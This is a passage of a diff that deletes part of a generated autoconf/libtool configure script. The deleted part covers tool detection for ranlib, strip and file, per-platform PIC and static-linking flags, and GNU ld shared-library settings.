-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- AR=$ac_ct_AR
- fi
-else
- AR="$ac_cv_prog_AR"
-fi
-
-if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args.
-set dummy ${ac_tool_prefix}ranlib; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_RANLIB+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$RANLIB"; then
- ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-RANLIB=$ac_cv_prog_RANLIB
-if test -n "$RANLIB"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $RANLIB" >&5
-$as_echo "$RANLIB" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_RANLIB"; then
- ac_ct_RANLIB=$RANLIB
- # Extract the first word of "ranlib", so it can be a program name with args.
-set dummy ranlib; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_RANLIB+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_RANLIB"; then
- ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_RANLIB="ranlib"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB
-if test -n "$ac_ct_RANLIB"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_RANLIB" >&5
-$as_echo "$ac_ct_RANLIB" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_RANLIB" = x; then
- RANLIB=":"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- RANLIB=$ac_ct_RANLIB
- fi
-else
- RANLIB="$ac_cv_prog_RANLIB"
-fi
-
-if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
-set dummy ${ac_tool_prefix}strip; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_STRIP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$STRIP"; then
- ac_cv_prog_STRIP="$STRIP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_STRIP="${ac_tool_prefix}strip"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-STRIP=$ac_cv_prog_STRIP
-if test -n "$STRIP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $STRIP" >&5
-$as_echo "$STRIP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_STRIP"; then
- ac_ct_STRIP=$STRIP
- # Extract the first word of "strip", so it can be a program name with args.
-set dummy strip; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_STRIP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_STRIP"; then
- ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_STRIP="strip"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP
-if test -n "$ac_ct_STRIP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP" >&5
-$as_echo "$ac_ct_STRIP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_STRIP" = x; then
- STRIP=":"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- STRIP=$ac_ct_STRIP
- fi
-else
- STRIP="$ac_cv_prog_STRIP"
-fi
-
-
-old_CC="$CC"
-old_CFLAGS="$CFLAGS"
-
-# Set sane defaults for various variables
-test -z "$AR" && AR=ar
-test -z "$AR_FLAGS" && AR_FLAGS=cru
-test -z "$AS" && AS=as
-test -z "$CC" && CC=cc
-test -z "$LTCC" && LTCC=$CC
-test -z "$LTCFLAGS" && LTCFLAGS=$CFLAGS
-test -z "$DLLTOOL" && DLLTOOL=dlltool
-test -z "$LD" && LD=ld
-test -z "$LN_S" && LN_S="ln -s"
-test -z "$MAGIC_CMD" && MAGIC_CMD=file
-test -z "$NM" && NM=nm
-test -z "$SED" && SED=sed
-test -z "$OBJDUMP" && OBJDUMP=objdump
-test -z "$RANLIB" && RANLIB=:
-test -z "$STRIP" && STRIP=:
-test -z "$ac_objext" && ac_objext=o
-
-# Determine commands to create old-style static archives.
-old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs'
-old_postinstall_cmds='chmod 644 $oldlib'
-old_postuninstall_cmds=
-
-if test -n "$RANLIB"; then
- case $host_os in
- openbsd*)
- old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB -t \$oldlib"
- ;;
- *)
- old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB \$oldlib"
- ;;
- esac
- old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib"
-fi
-
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
-# Only perform the check for file, if the check method requires it
-case $deplibs_check_method in
-file_magic*)
- if test "$file_magic_cmd" = '$MAGIC_CMD'; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for ${ac_tool_prefix}file" >&5
-$as_echo_n "checking for ${ac_tool_prefix}file... " >&6; }
-if ${lt_cv_path_MAGIC_CMD+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $MAGIC_CMD in
-[\\/*] | ?:[\\/]*)
- lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
- ;;
-*)
- lt_save_MAGIC_CMD="$MAGIC_CMD"
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- ac_dummy="/usr/bin$PATH_SEPARATOR$PATH"
- for ac_dir in $ac_dummy; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f $ac_dir/${ac_tool_prefix}file; then
- lt_cv_path_MAGIC_CMD="$ac_dir/${ac_tool_prefix}file"
- if test -n "$file_magic_test_file"; then
- case $deplibs_check_method in
- "file_magic "*)
- file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"`
- MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
- if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
- $EGREP "$file_magic_regex" > /dev/null; then
- :
- else
- cat <<EOF 1>&2
-
-*** Warning: the command libtool uses to detect shared libraries,
-*** $file_magic_cmd, produces output that libtool cannot recognize.
-*** The result is that libtool may fail to recognize shared libraries
-*** as such. This will affect the creation of libtool libraries that
-*** depend on shared libraries, but programs linked with such libtool
-*** libraries will work regardless of this problem. Nevertheless, you
-*** may want to report the problem to your system manager and/or to
-*** bug-libtool@gnu.org
-
-EOF
- fi ;;
- esac
- fi
- break
- fi
- done
- IFS="$lt_save_ifs"
- MAGIC_CMD="$lt_save_MAGIC_CMD"
- ;;
-esac
-fi
-
-MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
-if test -n "$MAGIC_CMD"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5
-$as_echo "$MAGIC_CMD" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-if test -z "$lt_cv_path_MAGIC_CMD"; then
- if test -n "$ac_tool_prefix"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking for file" >&5
-$as_echo_n "checking for file... " >&6; }
-if ${lt_cv_path_MAGIC_CMD+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- case $MAGIC_CMD in
-[\\/*] | ?:[\\/]*)
- lt_cv_path_MAGIC_CMD="$MAGIC_CMD" # Let the user override the test with a path.
- ;;
-*)
- lt_save_MAGIC_CMD="$MAGIC_CMD"
- lt_save_ifs="$IFS"; IFS=$PATH_SEPARATOR
- ac_dummy="/usr/bin$PATH_SEPARATOR$PATH"
- for ac_dir in $ac_dummy; do
- IFS="$lt_save_ifs"
- test -z "$ac_dir" && ac_dir=.
- if test -f $ac_dir/file; then
- lt_cv_path_MAGIC_CMD="$ac_dir/file"
- if test -n "$file_magic_test_file"; then
- case $deplibs_check_method in
- "file_magic "*)
- file_magic_regex=`expr "$deplibs_check_method" : "file_magic \(.*\)"`
- MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
- if eval $file_magic_cmd \$file_magic_test_file 2> /dev/null |
- $EGREP "$file_magic_regex" > /dev/null; then
- :
- else
- cat <<EOF 1>&2
-
-*** Warning: the command libtool uses to detect shared libraries,
-*** $file_magic_cmd, produces output that libtool cannot recognize.
-*** The result is that libtool may fail to recognize shared libraries
-*** as such. This will affect the creation of libtool libraries that
-*** depend on shared libraries, but programs linked with such libtool
-*** libraries will work regardless of this problem. Nevertheless, you
-*** may want to report the problem to your system manager and/or to
-*** bug-libtool@gnu.org
-
-EOF
- fi ;;
- esac
- fi
- break
- fi
- done
- IFS="$lt_save_ifs"
- MAGIC_CMD="$lt_save_MAGIC_CMD"
- ;;
-esac
-fi
-
-MAGIC_CMD="$lt_cv_path_MAGIC_CMD"
-if test -n "$MAGIC_CMD"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MAGIC_CMD" >&5
-$as_echo "$MAGIC_CMD" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- else
- MAGIC_CMD=:
- fi
-fi
-
- fi
- ;;
-esac
-
-enable_dlopen=no
-enable_win32_dll=yes
-
-@%:@ Check whether --enable-libtool-lock was given.
-if test "${enable_libtool_lock+set}" = set; then :
- enableval=$enable_libtool_lock;
-fi
-
-test "x$enable_libtool_lock" != xno && enable_libtool_lock=yes
-
-
-@%:@ Check whether --with-pic was given.
-if test "${with_pic+set}" = set; then :
- withval=$with_pic; pic_mode="$withval"
-else
- pic_mode=default
-fi
-
-test -z "$pic_mode" && pic_mode=default
-
-# Use C for the default configuration in the libtool script
-tagname=
-lt_save_CC="$CC"
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-
-# Source file extension for C test sources.
-ac_ext=c
-
-# Object file extension for compiled C test sources.
-objext=o
-objext=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="int some_variable = 0;\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='int main(){return(0);}\n'
-
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-
-lt_prog_compiler_no_builtin_flag=
-
-if test "$GCC" = yes; then
- lt_prog_compiler_no_builtin_flag=' -fno-builtin'
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -fno-rtti -fno-exceptions" >&5
-$as_echo_n "checking if $compiler supports -fno-rtti -fno-exceptions... " >&6; }
-if ${lt_cv_prog_compiler_rtti_exceptions+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_rtti_exceptions=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="-fno-rtti -fno-exceptions"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_rtti_exceptions=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_rtti_exceptions" >&5
-$as_echo "$lt_cv_prog_compiler_rtti_exceptions" >&6; }
-
-if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then
- lt_prog_compiler_no_builtin_flag="$lt_prog_compiler_no_builtin_flag -fno-rtti -fno-exceptions"
-else
- :
-fi
-
-fi
-
-lt_prog_compiler_wl=
-lt_prog_compiler_pic=
-lt_prog_compiler_static=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_static='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- lt_prog_compiler_can_build_shared=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic='-fPIC'
- ;;
- esac
- ;;
-
- *)
- lt_prog_compiler_pic='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- lt_prog_compiler_wl='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static='-Bstatic'
- else
- lt_prog_compiler_static='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic='-qnocommon'
- lt_prog_compiler_wl='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- lt_prog_compiler_wl='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- lt_prog_compiler_static='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- lt_prog_compiler_wl='-Wl,'
- # PIC (with -KPIC) is the default.
- lt_prog_compiler_static='-non_shared'
- ;;
-
- newsos6)
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-static'
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- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-fpic'
- lt_prog_compiler_static='-Bstatic'
- ;;
- ccc*)
- lt_prog_compiler_wl='-Wl,'
- # All Alpha code is PIC.
- lt_prog_compiler_static='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- lt_prog_compiler_wl='-Wl,'
- # All OSF/1 code is PIC.
- lt_prog_compiler_static='-non_shared'
- ;;
-
- solaris*)
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- lt_prog_compiler_wl='-Qoption ld ';;
- *)
- lt_prog_compiler_wl='-Wl,';;
- esac
- ;;
-
- sunos4*)
- lt_prog_compiler_wl='-Qoption ld '
- lt_prog_compiler_pic='-PIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- lt_prog_compiler_pic='-Kconform_pic'
- lt_prog_compiler_static='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_pic='-KPIC'
- lt_prog_compiler_static='-Bstatic'
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-
- unicos*)
- lt_prog_compiler_wl='-Wl,'
- lt_prog_compiler_can_build_shared=no
- ;;
-
- uts4*)
- lt_prog_compiler_pic='-pic'
- lt_prog_compiler_static='-Bstatic'
- ;;
-
- *)
- lt_prog_compiler_can_build_shared=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
-$as_echo "$lt_prog_compiler_pic" >&6; }
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic works" >&5
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- lt_prog_compiler_pic_works=no
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- lt_compiler_flag="$lt_prog_compiler_pic -DPIC"
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- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
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- fi
- $rm conftest*
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- *) lt_prog_compiler_pic=" $lt_prog_compiler_pic" ;;
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- lt_prog_compiler_pic=
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-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
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- lt_prog_compiler_pic=
- ;;
- *)
- lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
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-esac
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-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
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- # So say no if there are warnings
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- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works=yes
- fi
- else
- lt_prog_compiler_static_works=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works" >&5
-$as_echo "$lt_prog_compiler_static_works" >&6; }
-
-if test x"$lt_prog_compiler_static_works" = xyes; then
- :
-else
- lt_prog_compiler_static=
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-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
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- $as_echo_n "(cached) " >&6
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- lt_cv_prog_compiler_c_o=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
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- mkdir out
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-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
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- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
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- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
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- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
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- $rm conftest*
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-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o" >&5
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-
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-$as_echo_n "checking if we can lock with hard links... " >&6; }
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- $rm conftest*
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- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
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-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
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- whole_archive_flag_spec=
- thread_safe_flag_spec=
- hardcode_libdir_flag_spec=
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- hardcode_shlibpath_var=unsupported
- link_all_deplibs=unknown
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- module_cmds=
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- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
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- interix*)
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- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- ld_shlibs=yes
- if test "$with_gnu_ld" = yes; then
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- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
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- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
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- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
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- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
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- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- ld_shlibs=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
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-
- amigaos*)
- archive_cmds='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec='-L$libdir'
- hardcode_minus_L=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- ld_shlibs=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
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- archive_cmds='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, ) is actually meaningless,
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- hardcode_libdir_flag_spec='-L$libdir'
- allow_undefined_flag=unsupported
- always_export_symbols=no
- enable_shared_with_static_runtimes=yes
